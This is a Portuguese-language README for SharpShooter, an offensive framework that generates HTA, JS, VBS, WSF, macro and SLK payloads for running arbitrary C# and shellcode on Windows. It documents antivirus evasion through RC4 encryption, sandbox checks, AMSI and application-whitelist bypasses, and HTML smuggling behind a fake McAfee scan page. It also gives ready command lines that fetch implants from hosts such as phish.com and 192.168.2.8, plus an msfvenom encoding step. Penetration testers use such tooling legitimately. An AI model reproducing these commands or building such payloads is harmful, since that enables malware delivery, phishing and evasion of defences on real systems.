
Framework de Geração de Payload
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter é um framework de criação de payloads para recuperação e execução de código CSharp arbitrário. SharpShooter é capaz de criar payloads em uma variedade de formatos, incluindo HTA, JS, VBS e WSF. Ele utiliza a ferramenta DotNetToJavaScript de James Forshaw para invocar métodos do objeto serializado DotNet do SharpShooter. Os payloads podem ser recuperados usando entrega Web ou DNS, ou ambos; o SharpShooter é compatível com o projeto MDSec ActiveBreach PowerDNS. Alternativamente, payloads sem estágio com execução de shellcode embutido também podem ser gerados para os mesmos formatos de script.
Os payloads do SharpShooter são criptografados com RC4 usando uma chave aleatória para fornecer alguma evasão modesta de antivírus, e o projeto inclui a capacidade de integrar detecção de sandbox e chaveamento de ambiente para ajudar a evitar detecção.
O SharpShooter inclui um modelo CSharp predefinido para executar shellcode com payloads com estágio e sem estágio, mas qualquer código CSharp pode ser compilado e invocado em memória usando reflexão, graças ao provedor CodeDom do CSharp.
Finalmente, o SharpShooter oferece a capacidade de empacotar o payload dentro de um arquivo HTML usando a técnica de contrabando HTML do Demiguise.
O SharpShooter tem como alvo as versões v2, v3 e v4 do .NET framework, que serão encontradas na maioria das estações de trabalho Windows dos usuários finais.
A versão 1.0 do SharpShooter introduziu vários conceitos novos, incluindo estagamento COM, execução de Squiblydoo e Squiblytwo, bem como execução XSL. Para realizar essa nova funcionalidade, várias novas flags foram adicionadas; --com, --awl e --awlurl.
A versão 2.0 do SharpShooter adicionou o módulo de bypass do AMSI, junto com suporte para gerar documentos habilitados para macro VBA e Excel 4.
Mais informações podem ser encontradas no post do blog MDSec.
O SharpShooter é altamente configurável, suportando diferentes tipos de payload, evasões de sandbox, métodos de entrega e tipos de saída.
Executar o SharpShooter com o argumento --help produzirá a seguinte saída:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
Exemplos de alguns casos de uso são fornecidos abaixo:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Cria um payload JavaScript sem estágio direcionado à versão 4 do .NET framework. Este exemplo criará um payload chamado foo.js no diretório de saída. O shellcode é lido do arquivo ./raw.txt. O payload tenta impor alguma evasão de sandbox chaveando a execução ao domínio CONTOSO e verificando artefatos conhecidos de sandbox/VM.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Cria um payload HTA sem estágio direcionado à versão 2/3 do .NET framework. Este exemplo criará um payload chamado foo.hta no diretório de saída. O shellcode é lido do arquivo ./raw.txt. O payload tenta impor alguma evasão de sandbox verificando endereços MAC virtuais conhecidos. Um payload de contrabando HTML também será gerado, chamado foo.html no diretório de saída. Este payload usará o modelo de exemplo de varredura de vírus McAfee.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Este exemplo cria um payload VBS com estágio que realiza entrega tanto Web quanto DNS. O payload tentará recuperar um arquivo CSharp GZipado que executa o shellcode fornecido como um array de bytes CSharp no arquivo csharpsc.txt. O arquivo CSharp usado é o modelo de execução de shellcode embutido do SharpShooter. O payload é criado no diretório de saída com o nome foo.payload e deve ser hospedado em http://www.foo.bar/shellcode.payload. O mesmo arquivo também deve ser hospedado no domínio bar.foo usando PowerDNS para servi-lo. O arquivo VBS tentará chavear a execução ao domínio CONTOSO e será embutido em um arquivo HTML usando a técnica de contrabando HTML com o modelo de varredura de vírus McAfee. O payload resultante é armazenado no diretório de saída com o nome foo.html.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Este exemplo demonstra como criar um payload JS com estágio que realiza entrega web, recuperando um payload de http://www.phish.com/implant.payload. O payload gerado tentará evasão de sandbox e tentará compilar o payload recuperado, que requer mscorlib.dll e System.Windows.Forms.dll como referências de DLL. O método Main no namespace MDSec.SharpShooter será executado após compilação bem-sucedida.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Este exemplo cria um estagador COM VBS contrabandeado que usa o método COM Outlook.CreateObject() como primitiva para executar wmic.exe para executar uma folha de estilo hospedada. O parâmetro --awl não é usado, por padrão é wmic.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Este exemplo cria um arquivo HTA contrabandeado que usa a interface COM XMLDOM para recuperar e executar uma folha de estilo hospedada.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Este exemplo cria um arquivo de macro VBA que usa a interface COM XMLDOM para recuperar e executar uma folha de estilo hospedada.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Este exemplo cria um arquivo Excel 4.0 SLK que executa o shellcode fornecido e o empacota em HTML. O shellcode não pode conter bytes nulos, dica:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Autor: Dominic Chell, MDSec ActiveBreach @domchell e @mdseclabs
Créditos: